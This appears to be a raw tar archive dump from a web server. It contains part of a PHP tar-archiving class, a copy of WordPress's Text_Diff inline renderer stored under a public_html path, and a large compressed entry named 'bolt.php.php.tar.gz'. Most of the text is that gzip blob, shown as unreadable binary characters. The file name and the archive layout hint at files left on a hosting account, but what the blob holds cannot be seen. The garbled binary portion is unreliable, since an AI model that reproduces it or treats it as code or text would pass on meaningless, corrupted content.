		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
